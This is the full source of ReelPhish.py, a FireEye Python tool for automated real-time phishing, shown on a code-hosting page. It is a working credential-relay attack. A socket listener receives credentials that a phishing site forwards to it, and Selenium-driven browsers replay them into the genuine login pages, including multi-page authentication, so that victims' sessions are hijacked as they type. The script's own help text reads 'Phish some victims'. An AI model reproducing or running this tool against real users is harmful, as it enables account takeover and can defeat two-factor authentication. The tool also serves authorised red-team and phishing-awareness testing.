-
Notifications
You must be signed in to change notification settings - Fork 151
/
ReelPhish.py
311 lines (269 loc) · 13.1 KB
/
ReelPhish.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
"""
ReelPhish - Automated Real Time Phishing
Authors: Pan Chan, Trevor Haskell
Copyright (C) 2018 FireEye, Inc. All Rights Reserved.
"""
# pylint: disable=I0011,C0325
import argparse
import logging
import os
import threading
import signal
import sys
import collections
import time
import socket
import urllib
from Queue import Queue
from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.common.exceptions import NoSuchElementException
__version__ = '0.1.0'
_ALLOWED_BROWSERS = ['IE', 'FF', 'Chrome']
_SEND_QUEUE = Queue()
_RECEIVE_DICT = dict()
_LOGGER = logging.getLogger('phishing_driver.{}'.format(__version__))
class DriverThread(threading.Thread):
""" Manages a client browser session while authentication is in process """
def __init__(self, args, thread_send_queue, thread_receive_queue, tid, exit_sig, can_exit):
super(DriverThread, self).__init__()
self.args = args
self.thread_send_queue = thread_send_queue
self.thread_receive_queue = thread_receive_queue
self.tid = tid
self.should_exit = exit_sig
self.exit = can_exit
def run(self):
_LOGGER.info("Browser thread starting up...")
pargs = self.args
while not self.should_exit.is_set():
browser = select_browser(pargs.browser[0])
browser.get(pargs.url[0])
for pagenum in range(0, pargs.numpages):
_LOGGER.info("%s authentication pages left to do for browser %s", (pargs.numpages - pagenum),
self.tid) # noqa pylint: disable=I0011,C0301
parameter_dict = collections.OrderedDict()
param_list = self.thread_send_queue.get()
_LOGGER.debug("Parameter list received: %s", param_list)
for keypair in param_list:
parsed_value = urllib.unquote(keypair.split('=')[1])
parameter_dict[keypair.split('=')[0]] = parsed_value
_LOGGER.debug("Internal parameter dictionary: %s", parameter_dict)
elem = None
for key, value in parameter_dict.iteritems():
_LOGGER.debug("Sending field name: %s", key)
_LOGGER.debug("Value is: %s", value)
try:
elem = browser.find_element_by_name(key)
if elem.tag_name == "select":
select = Select(elem)
select.select_by_visible_text(value)
elif elem.get_attribute("type") == "checkbox":
if str(elem.is_selected()).lower() != value.lower():
elem.click()
# Workaround for IE, requires two clicks
if pargs.browser[0] == "IE":
elem.click()
else:
elem.send_keys(value)
except NoSuchElementException:
if pargs.override:
_LOGGER.warning("Ignoring error: Unable to find field name: %s", key)
else:
_LOGGER.critical("Unable to find field name: %s", key)
exit(1)
if pargs.submit is None:
elem.submit()
else:
submit_button = browser.find_element_by_name(pargs.submit[0])
submit_button.click()
# OPTIONAL: Store response page if scraping the page is required
# response_content = browser.page_source
# if pargs.verbose:
# print("Length of response: %s" % str(len(response_content)))
# When using a single phishing page, no data usually needs to go back.
# We just need to indicate we are finished to the phishing web server.
# This can be customized to your liking.
_LOGGER.debug("Finished, sending example data back")
return_message = "Example data for browser session %s" % self.tid
self.thread_receive_queue.put(return_message)
_LOGGER.info("All authentication pages finished for browser %s, exiting...", self.tid)
break
return
class MainNetworkSocket(threading.Thread):
""" Manages the main socket connection and spawns new threads to manage connections """
def __init__(self, exit_sig, can_exit):
super(MainNetworkSocket, self).__init__()
self.should_exit = exit_sig
self.exit = can_exit
# You can customize the host and port below.
# Be sure the port number is the same in your phishing site.
self.host = ''
self.port = 2135
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.setblocking(0)
self.sock.settimeout(None)
self.sock.bind((self.host, self.port))
def run(self):
_LOGGER.info("Brought up main networking")
self.sock.listen(5)
while not self.should_exit.is_set():
conn, addr = self.sock.accept()
_LOGGER.info("Accepted connection from %s", repr(addr))
client_thread = ClientHandler(conn, addr)
client_thread.start()
_LOGGER.info("Terminating listener")
self.sock.shutdown(socket.SHUT_RDWR)
self.sock.close()
class ClientHandler(threading.Thread):
""" Handles an individual client's connection """
def __init__(self, conn, addr):
super(ClientHandler, self).__init__()
self.conn = conn
self.addr = addr
def run(self):
_LOGGER.debug("Inside network handling thread for %s", repr(self.addr))
data = self.conn.recv(1024)
parsed_data = (data.split('\r\n\r\n')[1]).split('&')
session_id = parsed_data[0]
message_packet = [session_id, parsed_data[1:]]
_LOGGER.debug("Full message packet to be sent to main dispatcher from client %s: %s",
repr(self.addr), message_packet)
_SEND_QUEUE.put(message_packet)
# The phishing web server makes the request to this script and provides phished credentials.
# We respond back with an indication of success and optionally provide scraped data from the page.
# Until we are finished entering credentials, this transaction is not finished.
while True:
if session_id not in _RECEIVE_DICT:
time.sleep(0.05)
else:
_LOGGER.debug("Found message to send for %s", session_id)
send_packet = _RECEIVE_DICT[session_id].get()
resp = "HTTP/1.1 200 OK\r\n\r\n"
resp += send_packet
_LOGGER.debug("Sending the following packet: %s", resp)
self.conn.send(resp)
self.conn.close()
break
_LOGGER.info("Network thread for session %s finished", repr(self.addr))
def parse_args():
""" Parses the CLI flags """
# pylint: disable=I0011,C0301
parser = argparse.ArgumentParser(description="Phish some victims...")
parser.add_argument('--browser', nargs=1, help='<Required> Set Browser Type (IE, FF, Chrome, or Safari)',
required=True, choices=_ALLOWED_BROWSERS)
parser.add_argument('--submit', nargs=1, help='<Optional> Set submission button name from form', required=False,
action='store')
parser.add_argument('--url', nargs=1, help='<Required> URL to target', required=True)
parser.add_argument('--numpages', type=int, help='<Optional> Number of authentication pages in web application'
' if none are specified, this defaults to 1', required=False, default=1)
parser.add_argument('--logging', default='info', action='store', required=False,
help='<Optional> Increase verbosity on command line (debug, info, warn, error, critical)')
parser.add_argument('--override', help='<Optional> Ignore missing element errors', required=False,
default=False, action='store_true')
return parser.parse_args()
def select_browser(browser_selection):
"""
Implements operating system checking to determine appropriate browser support
Raises exception when unsupported operating system or browser is found
Currently supported operating systems and browsers:
* Windows: Internet Explorer (IE), Firefox (FF), Chrome
* Linux: Firefox (FF), Chrome
Returns browser object corresponding to selection choice (browser_selection)
"""
if sys.platform == "win32":
current_path = sys.path[0]
if browser_selection == "IE":
ie_path = current_path + "\\IEDriver.exe"
return webdriver.Ie(ie_path)
elif browser_selection == "Chrome":
chrome_path = current_path + "\\ChromeDriver.exe"
return webdriver.Chrome(chrome_path)
# Firefox selenium implementation requires gecko executable to be in PATH
elif browser_selection == "FF":
firefox_driver_path = current_path + "\\FFDriver.exe"
firefox_capabilities = DesiredCapabilities.FIREFOX
firefox_capabilities['marionette'] = True
return webdriver.Firefox(capabilities=firefox_capabilities, executable_path=firefox_driver_path)
else:
raise Exception("Invalid Windows browser selection (IE, Chrome, and FF supported)")
elif sys.platform == "linux" or sys.platform == "linux2":
current_path = os.path.dirname(os.path.abspath(__file__))
if browser_selection == "FF":
firefox_driver_path = current_path + "/FFDriver.bin"
firefox_capabilities = DesiredCapabilities.FIREFOX
firefox_capabilities['marionette'] = True
firefox_capabilities['executable_path'] = firefox_driver_path
return webdriver.Firefox(capabilities=firefox_capabilities)
elif browser_selection == "Chrome":
chrome_path = current_path + "/ChromeDriver.bin"
return webdriver.Chrome(chrome_path)
else:
raise Exception("Invalid Linux browser selection (Chrome and FF supported)")
else:
raise Exception("Operating system not supported")
def add_signal_handler(eventer):
""" Signal handler """
def graceful_exit(sig, frame):
print('gracefully stopping')
eventer.set()
signal.signal(signal.SIGINT, signal.SIG_DFL)
signal.signal(signal.SIGTERM, signal.SIG_DFL)
return graceful_exit
def main():
""" Initializes and runs the phishing script """
args = parse_args()
log_levels = {
'debug': logging.DEBUG,
'warn': logging.WARN,
'warning': logging.WARN,
'error': logging.ERROR,
'critical': logging.CRITICAL,
}
log_fmt = '%(levelname) -8s %(asctime)s [%(filename)s %(lineno)d] %(funcName)s: %(message)s'
_LOGGER.setLevel(log_levels.get(args.logging, logging.INFO))
log_fh = logging.StreamHandler(stream=sys.stdout)
log_fh.setFormatter(logging.Formatter(log_fmt))
_LOGGER.addHandler(log_fh)
exit_sig = threading.Event()
can_exit = threading.Event()
signal.signal(signal.SIGINT, add_signal_handler(exit_sig))
signal.signal(signal.SIGTERM, add_signal_handler(exit_sig))
signal.signal(signal.SIGILL, add_signal_handler(exit_sig))
signal.signal(signal.SIGABRT, add_signal_handler(exit_sig))
network_socket = MainNetworkSocket(exit_sig, can_exit)
_LOGGER.info("Starting main networking...")
network_socket.start()
running_sessions = collections.OrderedDict()
while not can_exit.wait(0.05):
if not _SEND_QUEUE.empty():
message_packet = _SEND_QUEUE.get()
session_id = message_packet[0]
if session_id not in running_sessions:
thread_send_queue = Queue()
thread_receive_queue = Queue()
thread_send_queue.put((message_packet[1:])[0])
driver_thread = DriverThread(args, thread_send_queue, thread_receive_queue,
session_id, exit_sig, can_exit)
running_sessions[message_packet[0]] = [
driver_thread,
thread_send_queue,
thread_receive_queue,
]
driver_thread.start()
else:
running_sessions[session_id][1].put((message_packet[1:])[0])
for key, value in running_sessions.iteritems():
if not value[2].empty():
driver_packet = value[2].get()
if key not in _RECEIVE_DICT:
_RECEIVE_DICT[key] = Queue()
_LOGGER.debug("Sending %s driver packet to dispatcher", driver_packet)
_RECEIVE_DICT[key].put(driver_packet)
if not value[0].is_alive():
_LOGGER.info("Removing browser thread for %s", key)
del running_sessions[key]
if __name__ == '__main__':
main()